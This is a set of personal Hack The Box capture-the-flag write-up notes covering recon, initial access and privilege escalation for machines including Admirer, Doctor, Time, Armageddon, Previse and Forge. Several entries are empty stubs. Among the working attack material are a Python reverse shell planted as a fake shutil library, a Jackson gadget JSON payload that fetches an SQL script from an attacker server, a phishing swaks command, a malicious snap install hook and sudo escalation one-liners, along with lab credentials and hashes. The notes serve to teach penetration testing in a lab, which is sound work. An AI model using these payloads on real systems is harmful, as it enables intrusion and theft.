Initial ⇒ Auth bypass via sql-inj OR Match-&-Replace 302 to 200 (EAR) + file upload Privesc level 1 ⇒ Database creds in /var/www/magic + Data dump using mysqldump Privesc level 2 ⇒ -----------------------

Recon & Enum

port scan

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

directory scan

/assets (Status: 301) [Size: 313]
/images (Status: 301) [Size: 313]
/index.php (Status: 200) [Size: 5069]
/index.php (Status: 200) [Size: 5067]
/login.php (Status: 200) [Size: 4221]
/logout.php (Status: 302) [Size: 0]
/upload.php (Status: 302) [Size: 2957]

website

their is bunch of images on web page and their is also login functionality on bottom left corner of web page

http://10.10.10.185/login.php

This can be bypass using sql authentication attack , after getting login we got redirect to /upload.php which has file upload vulnerability

http://10.10.10.185/upload.php

if we directly visit this page it redirects us to /login.php , but when intercepted the respeonse in burp and after checking page content and page size it shows the same page , To bypass this use burp - match and replace from 302 found -> 200 ok

shell as www-data

file upload exploitation

we can use 2 methods to exploit this vulnerability :- 1. using exiftool to inject reverse shell into image we are uploading 2. injecting payload in middle of the file image content i used second , and got the shell

privesc www-data => theseus

after getting shell , i found 1 more file inside /var/www/magic directory

db.php5

This is mysql file , after reading the file we get to know the credentials of mysql of user theseus but unfortunately mysql is not present in machine , but their is mysqldump present , we can use this

 mysqldump --user=theseus --password=iamkingtheseus --host=localhost Magic

after the dump , we got the result. inside result i found this which i think is interesting

INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng');

i use su command with creds username = theseus & pass = Th3s3usW4sK1ng , and got the shell

privesc theseus => root

linenum.sh

found unknown binary > /bin/sysinfo , and it also executable as root

Admirer

Initial ⇒ SSRF to My-SQL fake server (attacker server) Privesc ⇒ Path Hijacking (PYTHONPATH) , Scripting Library (shutil.py) & function

1. Nmap gives 21,22,80 port open with disallow entry : admin-dir in robots.txt

2. Recon on http://$ip/admin-dir gives 2 .txt files

   1. contacts.txt ⇒ Holds email-address & username (NO USE)

   2. credentials.txt ⇒ Holds FTP username & password

3. Loggin-in & enumerating it gives us files :

   1. dump.sql ⇒ (Nothing interesting except Database Name : admirerdb )

   2. html.tar.gz ⇒ extracting it gives some directories and files , intereseting one :

      1. /utility-scripts

      2. /utility-scripts/dbadmin.php (Holds username waldo , password & database)

4. Emumerating http://$ip/utility-scripts gives adminer.php , which has mysql connect running on it , {tried the creds i found , but didn't work}

5. Using server field , we can also connect to remote server , i set up the mysql on my attacking machine and set user/pass , logging in to it , gives access

6. After getting inside , i loaded the local file and viewing it gives me another creds for waldo which work for SSH

7. Inside SSH session , doing sudo -l gives a file : /opt/scripts/admin_task.sh for which SETENV is available , reading it gives on function 6 it runs a script /opt/scripts/backup.py

8. backup.py is importing make_archive from shutil library

9. Creating a shutil.py file/library inside /tmp directory and injecting reverse shell in it.

import socket
import subprocess
import os
import pty

def make_archive(a, b, c):
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.connect(("10.0.0.1",4242)) #change this with your ip port
        os.dup2(s.fileno(),0)
        os.dup2(s.fileno(),1)
        os.dup2(s.fileno(),2)
        pty.spawn("/bin/bash")

1. Exploiting using sudo right on path-variable (SETENV) and also on /opt/scripts/admin_task.sh

sudo PYTHONPATH=/tmp /opt/script/admin_task.sh

Blunder

------

Tabby

-------

Doctor

Initial ⇒ via SSTI or via Command Injection Privesc level 1 ⇒ Password in /var/log/apache2/.backup Privesc level 2 ⇒ -------------------------

Recon & Enum

port scan

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8089/tcp open  unknown

directory scan (http://10.10.10.209)

/.html                (Status: 403) [Size: 277]
/contact.html         (Status: 200) [Size: 19848]
/images               (Status: 301) [Size: 313] [--> http://10.10.10.209/images/]
/blog.html            (Status: 200) [Size: 19848]
/.php                 (Status: 403) [Size: 277]
/about.html           (Status: 200) [Size: 19848]
/services.html        (Status: 200) [Size: 19848]
/js                   (Status: 301) [Size: 309] [--> http://10.10.10.209/js/]
/departments.html     (Status: 200) [Size: 19848]
/fonts                (Status: 301) [Size: 312] [--> http://10.10.10.209/fonts/]
/.html                (Status: 403) [Size: 277]
/.php                 (Status: 403) [Size: 277]
/server-status        (Status: 403) [Size: 277]
/index.html           (Status: 200) [Size: 19848]
/images               (Status: 301) [Size: 313] [--> http://10.10.10.209/images/]
/.php                 (Status: 403) [Size: 277]
/.html                (Status: 403) [Size: 277]
/about.html           (Status: 200) [Size: 19848]
/contact.html         (Status: 200) [Size: 19848]

directory scan (http://doctors.htb)

Target: http://doctors.htb/

[14:41:07] Starting:
[14:43:06] 302 -  251B  - /account  ->  http://doctors.htb/login?next=%2Faccount
[14:43:07] 404 -    3KB - /account/login.rb
[14:43:07] 404 -    3KB - /account/login.shtml
[14:44:16] 200 -  101B  - /archive
[14:46:28] 302 -  245B  - /home  ->  http://doctors.htb/login?next=%2Fhome
[14:46:51] 200 -    4KB - /login
[14:46:54] 302 -  217B  - /logout  ->  http://doctors.htb/home
[14:47:54] 200 -    1KB - /register
[14:48:03] 403 -  276B  - /server-status
[14:48:03] 403 -  276B  - /server-status/
[14:48:41] 200 -    1KB - /user/admin

website (http://10.10.10.209)

i found nothing useful here , but i did found mail address - info.doctors.htb , lets add it add it to /etc/hosts and check

website (http://doctors.htb)

we got login page and also a sign up functioality , lets create an account on this After getting in we get message functionality which consist of 2 parameters

after posting message it looks like this :-

shell as web

Both parameters are vulnerable . para 1 is vulnerable to SSTI & XSS , para 2 vulnerable to command injection

SSTI

i injected payload , but none of them is working until i checked the /archive , 9x9 didnt give any result , i don't think its vulnerable to SSTI but 8x8 wworked for me

its working lets take reverse shell

I thought it didn,t work , but no we have to send requestnin archieve as well , after hitting the send from /archive i got this as response and reverse shell as well

command injection

i start testing it by injecting my ip , but it gave an error

trying $IFS payload and it worked :-

after that i just bash /dev/shm/exploit , and i get the reverse shell

privesc web => shaun

grep -r passw . 2>/dev/null

and i found this :-

./apache2/backup:10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"

i tried su - with username = shaun & password = Guitar123 , and i got the shell

privesc shaun => root

Sneakymailer

Initial ⇒ Recon , Phishing , ----- Privesc ⇒ ----

Recon & Enum

port scan

PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
25/tcp   open  smtp
80/tcp   open  http
143/tcp  open  imap
993/tcp  open  imaps
8080/tcp open  http-proxy

nmap gives domain name = http://sneakycorp.htb

directory scan

subdomain scan

http://dev.sneakycorp.htb

website

http://sneakycorp.htb/team.php

page consist of names and emails , nothing more . I can download all email address of the users

curl http://sneakycorp.htb/team.php -o mails.txt

cat mails.txt | grep '@' > new.txt

cat new.txt | cut -d '>' -f 2 | cut -d '<' -f 1 > mails.txt

http://dev.sneakycorp.htb/pypi/register.php

register page , but no redirection or action performed

shell as www-data

phishing users

i will try to send phishing mail containing my ip address in the message body , and i open python server on my machine If any user clicks on my ip address i will get a call back

swaks --to $(cat emails | tr '\n' ',' | less) --from [e-mail] --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197

i did get a call back on python server , now i will open nc to check what i get

firstName=Paul
lastName=Byrd
email=[e-mail]
password=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
rpassword=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht

i got creds for paul

Passage

---

Lunanne

Initial ⇒ ---

Time

Initial ⇒ Recon , Open-Exploit (com.fasterxml.jackson.databind) Privesc ⇒ Linpeas.sh , ----

Recon & Enum

Port scan

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))

Directory scan

WEB (80)

Their is a json beautifier & validator working on website , after testing it , i get to know that the beautifier is of no use for us , so only thing left is validator Basically if we input json data in it , it validates it and give response accordingly , But if we input normal data then it will give us error :-

Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.MismatchedInputException: Unexpected token (START_OBJECT), expected START_ARRAY: need JSON Array to contain As.WRAPPER_ARRAY type information for class java.lang.Object

After googling and reading walk-through , i found that this is a CVE-2019-12384s

Shell as pericles

their is public exploit available on github , through which we can perform SSRF to RCE Steps to reproduce :- 1. clone the git repository in your machine 2. open and edit the sql file and enter the command you want to get executed on target machine/server , in my case its reverse shell 3. start a http server on your local machine 4. edit the payload & accordingly :- ip address , port no. , sql file name 5. remove all the "\" with " " (blank space) using echo command :-

echo "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'\"}]"  

final payload :-

["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.16.4:8000/inject.sql'"}]

Turn on the netcat listner on your machine , and BOOM.......... we got the shell

privesc pericles => root

Ready

Initial ⇒ SSRF -> redis RCE (open-exploit) Privesc ⇒ Backup file in /opt

1. On port 5080 website is running the gitlab , enumeration gives us the outdated version (11.4.7)

2. Open Exploit available , for explanation of the vulnerability refer

   1. https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/

3. For privesc, found password : wW59U!ZKMbG9+*#h in gitlab.rb file located in /opt/backup

Delievery

Initial ⇒ Register & Enumeration Privesc ⇒ /opt/mattermost ⇒ config.json ⇒ mySQL creds ⇒ (MySql-CLI) ⇒ root

1. Nmap gives 22,80,8065

   1. 80 : support ticket is running ⇒ we can create and tract the status of ticket

   2. 8065 : Mattermost running ⇒ we can register (with email confirmation) & login

2. Create the ticket on port:80 website using the fake email , track the status of ticket using the same fake email , on port:8065 website register the same fake email , the confirmation mail goes directly into ticket status , click on confirming link and then we login back to mattermost website

3. Inside it we are able to find SSH creds for user maildeliver

4. Inside Shell /opt directory contains config.json file which leaks mysql creds

5. Using those creds and doing some mysql emum with CLI , we are able to find hash for root user.

   root:$2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO

Ophiuchi

---

Scriptkiddie

---

Armageddon

Initial ⇒ Open-source exploit (Drupal 7 v7.56) Privesc level 1 ⇒ Database creds in /var/www/html/sites/default/setting.php Privesc level 2 ⇒ Binary exploit snap install * , Crafting malicious snap package

Recon & Enum

port scan

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

directory scan

/.html                (Status: 403) [Size: 207]
/index.php            (Status: 200) [Size: 7440]
/misc                 (Status: 301) [Size: 233] [--> http://10.10.10.233/misc/]
/themes               (Status: 301) [Size: 235] [--> http://10.10.10.233/themes/]
/modules              (Status: 301) [Size: 236] [--> http://10.10.10.233/modules/]
/scripts              (Status: 301) [Size: 236] [--> http://10.10.10.233/scripts/]
/sites                (Status: 301) [Size: 234] [--> http://10.10.10.233/sites/]
/includes             (Status: 301) [Size: 237] [--> http://10.10.10.233/includes/]
/install.php          (Status: 200) [Size: 3172]
/profiles             (Status: 301) [Size: 237] [--> http://10.10.10.233/profiles/]
/update.php           (Status: 403) [Size: 4057]
/README.txt           (Status: 200) [Size: 5382]
/robots.txt           (Status: 200) [Size: 2189]
/cron.php             (Status: 403) [Size: 7388]
/INSTALL.txt          (Status: 200) [Size: 17995]
/LICENSE.txt          (Status: 200) [Size: 18092]
/CHANGELOG.txt        (Status: 200) [Size: 111613]
/xmlrpc.php           (Status: 200) [Size: 42]
/COPYRIGHT.txt        (Status: 200) [Size: 1481]
/.html                (Status: 403) [Size: 207]
/UPGRADE.txt          (Status: 200) [Size: 10123]
/authorize.php        (Status: 403) [Size: 2824]

website

their is login page running on , after enumerating in burp i found that the webiste is php based and using drupal for authentication

X-Generator: Drupal 7 (http://drupal.org)

http://10.10.10.233/CHANELOG.TXT

I found the exact version number of drupal

Drupal 7.56, 2017-06-21
-----------------------
- Fixed security issues (access bypass). See SA-CORE-2017-003.

shell as apache

searchsploit

their are lots of payload on it

Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code (Metasploit)                                                     | php/webapps/44557.rb
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code Execution (PoC)                                                  | php/webapps/44542.txt
Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution                                          | php/webapps/44449.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (Metasploit)                                      | php/remote/44482.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (PoC)                                             | php/webapps/44448.py

but this matches according to our needs :- version no. Unauthenticated non-metasploitable public exploit on github

Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution

searchsploit -m php/webapps/44449.rb

CVE 2018 - 7600

this will give us shell as apache , and provide a link "http://10.10.10.233/shell.php" with parameter "c" through which we can do RCE lets get a reverse shell first ..... double-encode the payload while injecting NOTE :- we get this shell /sbin/nologin , so their are lots of things we can not perform like :- cd , bash , python , nc , wget ..... etc , and for some other things it gives Permission Denied

in case if script doesn't work try the command below , then run the script

sudo gem install highline

privesc apache => brucetherealadmin

we can do enough here , in order to escalate our privilages i need some kind of credentials , because most of the commands are not working and i even can't transfer scripts to victim like linpeas or etc....... After doing google , i get to know where are default credentials of database are stored :- "/sites/default/setting.php"

cat /var/www/html/sites/default/setting.php

$databases = array (
  'default' =>
  array (
    'default' =>
    array (
      'database' => 'drupal',
      'username' => 'drupaluser',
      'password' => 'CQHEy@9M*m23gBVj',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);

we got database (drupal) credentials , "drupaluser" & "CQHEy@9M*m23gBVj" before run mysql commands , we don't have ptty shell , so we have to direct execute the sql query in single go , so that terminal didn't stuck , as it stuck without that

mysql -e 'show tables;' -u drupaluser -p'CQHEy@9M*m23gBVj' drupal
>> we got alot of tables 

mysql -e 'show tables;' -u drupaluser -p'CQHEy@9M*m23gBVj' drupal | grep user
>> user table does exist

mysql -e 'select * from users;' -u drupaluser -p'CQHEy@9M*m23gBVj' drupal
1       brucetherealadmin       $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt

we got hash for user "brucetherealadmin" , lets save it in file , then find hash type then crack it

hashcat -m 7900 hash.txt ~/chaos/rockyou.txt

password >> booboo

i tried switching user but didn't work , so i tried ssh and got the shell as brucetherealadmin

privesc brucetherealadmin => root

sudo -l

found a binary that i can run as root :-

User brucetherealadmin may run the following commands on armageddon:
    (root) NOPASSWD: /usr/bin/snap install *

i immediately gone to GTFObins , and found this

this says , this binary can't do anything on its own , Basically its a package manager to install packages just like apt , but we can creat a malicious package , and then try to install it

creating malicious package

first i just try to read the root.txt, so create the package in attacker machine then transfer it to victim and then use snap to install it

first install fmp to create snap package >>

sudo gem install fpm


second create the package >>

COMMAND='cat /root/root.txt'
cd $(mktemp -d)
mkdir -p meta/hooks
printf '#!/bin/sh\n%s; false' "$COMMAND" >meta/hooks/install
chmod +x meta/hooks/install
fpm -n xxxx -s dir -t snap -a all meta



third transfer it to victim and install it >>

 sudo snap install xxxx_1.0_all.snap --dangerous --devmode 

we got , root.txt , but not shell

Knife

Initial ⇒ Recon , Open-exploit Privesc ⇒ sudo -l , Binary Exploitation :- /usr/bin/knife

Recon & Enum

port scan

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

directory scan

/.html                (Status: 403) [Size: 277]
/index.php            (Status: 200) [Size: 5815]
/.html                (Status: 403) [Size: 277]
/server-status        (Status: 403) [Size: 277]

website

nothing interesting over here , just a static page Although we intercepted in response shows php version

X-Powered-By: PHP/8.1.0-dev

shell as james

we can search exploit for this , after searching i got this exploit :-

privesc james -> root

sudo -l

User james may run the following commands on knife:
    (root) NOPASSWD: /usr/bin/knife

after searching on GTFObins , i got this :-

sudo knife exec -E 'exec "/bin/sh"'

and i got the shell as root

Pit

---

Seal

---

Previse

Initial ⇒ EAR , Command Injection Privesc level 1 ⇒ MySQL creds in /var/www/something/config.php Privesc level 2 ⇒ sudo -l , Path Injection in execution of shell script

Recon & Enum

port scan

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

directory scan

Nothing new finding , what is discoverable in this , is already accessiable by web page

website

http://10.10.11.104 -> redirects -> http://10.10.11.104/login.php

when i entered the ip "10.10.11.104" ir redirects me to "10.10.11.104/login.php" , so their is login page i use EAR vulnerability to bypass the login page

http://10.10.11.104/logs.php

we got functionality to download logs with specified delimeter :- comma , space , tab

shell as www-data

I captured the request in burp , and in delimeter parameter i tried command injection and it worked , then i injected the rev shell and i het the call back on my listner

privesc www-data => m4lwhere => root

www-data -> m4lwhere

on http://10.10.11.104/acounts.php their is functionality to download the site abckup file , i downloaded it and after unzip i got bunch of files

cat config.php
xtx
<?php

function connectDB(){
    $host = 'localhost';
    $user = 'root';
    $passwd = 'mySQL_p@ssw0rd!:)';
    $db = 'previse';
    $mycon = new mysqli($host, $user, $passwd, $db);
    return $mycon;
}

?>

lets connect to mysql , and i get the hash for user "m4lwhere"

mysql -e 'select * from accounts' -u root  previse -p
Enter password:
+----+----------+------------------------------------+---------------------+
| id | username | password                           | created_at          |
+----+----------+------------------------------------+---------------------+
|  1 | m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. | 2021-05-27 18:18:36   |
|  2 | vaibhav  | $1$🧂llol$6EeWgoBQj2zKVIVN.TdRU. | 2023-05-10 15:39:00   |
+----+----------+------------------------------------+---------------------+

after cracking it i got the password ilovecody112235! , su / ssh ....and got the shell as m4lwhere

m4lwhere -> root

i did sudo -l and find a file

cat /opt/scripts/access_backup.sh
#!/bin/bash

# We always make sure to store logs, we take security SERIOUSLY here

# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time

gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz

the problem is not in script , the thing is that the "gzip" binary with root priviledges , so i can simply inject my current path in path variable and make a fake binary with the name gzip and inject my rev_ shell in it and after that just execute gzip ... and got the call back on my nc listner

privesc www-data => root

linpeas.sh

linpeas found that the application is vulnerable to cve-2021-4034 , so i googled it

run this , and get the shell as root https://github.com/berdav/CVE-2021-4034

Forge

Initial ⇒ SSRF (http://) chaining with another SSRF (ftp://) , Recon Privesc ⇒ Recon in /opt , Script Breaking , PDB (python debugger)

1. Nmap gives 21 : filtered & 22,80 : open , subdomain enum gives admin.forge.htb

2. On website forge.htb we can upload file from machine as well as from URL & visiting admin.forge.htb says : onlu localhost allowed

3. Checking admin.forge.htb via upload via URL got succeeded : vulnerable to SSRF

   1. check the URL http://admin.forge.htb using http://forge.htb

      1. SSRF fails ⇒ try with both upper/lower case : AdMin.ForGe.hTb case-injection

   2. After visiting the link, website gives another obfuscated link which not work in brower

      1. Direct visit fails ⇒ try with curl OR with both curl + base64 encode

4. This reveals some good information :

<!DOCTYPE html>
<html>
<head>
    <title>Announcements</title>
</head>
<body>
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
    <link rel="stylesheet" type="text/css" href="/static/css/announcements.css">
    <header>
            <nav>
                <h1 class=""><a href="/">Portal home</a></h1>
                <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                <h1 class="align-right"><a href="/upload">Upload image</a></h1>
            </nav>
    </header>
    <br><br><br>
    <ul>
        <li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li>
        <li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li>
        <li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=&lt;url&gt;.</li>
    </ul>
</body>

1. Crafting final payload

http://admin.forge.htb/upload?u=ftp://user:heightofsecurity123!@127.0.0.1/.ssh/

1. SSH shell as user user, for privesc i run sudo -l which gives /opt/remote-manage.py

2. This scripts

   1. has a password ,

   2. some option which we can run (1,2,3,4)

   3. starts on any random port when executed

   4. and if input is beside the given number, it starts PDB automatically

   5. to deal with it we need another session and have to listen the same port .

   6. In last enter any random output , the scripts break on other have and give , insert rev-shell

user@forge:~$ sudo /usr/bin/python3 /opt/remote-manage.py
Listening on localhost:11563
invalid literal for int() with base 10: b'0xdf'
> /opt/remote-manage.py(27)<module>()
-> option = int(clientsock.recv(1024).strip())
(Pdb)

# PDB = python debugger

# Perform command execution here in order to get reverse shell
(Pdb) import os
(Pdb) os.system('bash')

Horizontal

Initial ⇒ done Pirivesc ⇒ ----

Shibboleth

xxxxxxxxx

Writer

Pandora

---

Meta

---

Paper

xxxx

Keeper

Default Creds || Privesc ⇒ Keepass (CVE-2023-32784) | Putty-Key ⇒ openssh convert

1. On website request ticketer is running of Best practical with login form.

   Default creds gives access , inside that under /user directory i am able to find password for user Lisa

2. After SSH , inside home directory able to find file.zip , which on extract gives Keepass dump &kdbx file.

3. For dumping password/key i used https://github.com/vdohney/keepass-password-dumper exploit , later use the master-key on file.kdbx using kpcli

4. The above part done with dotnet version 7.0

5. Enumeration gives PUTTY-key for user root , Convert Puttykey to ssh and got the shell as root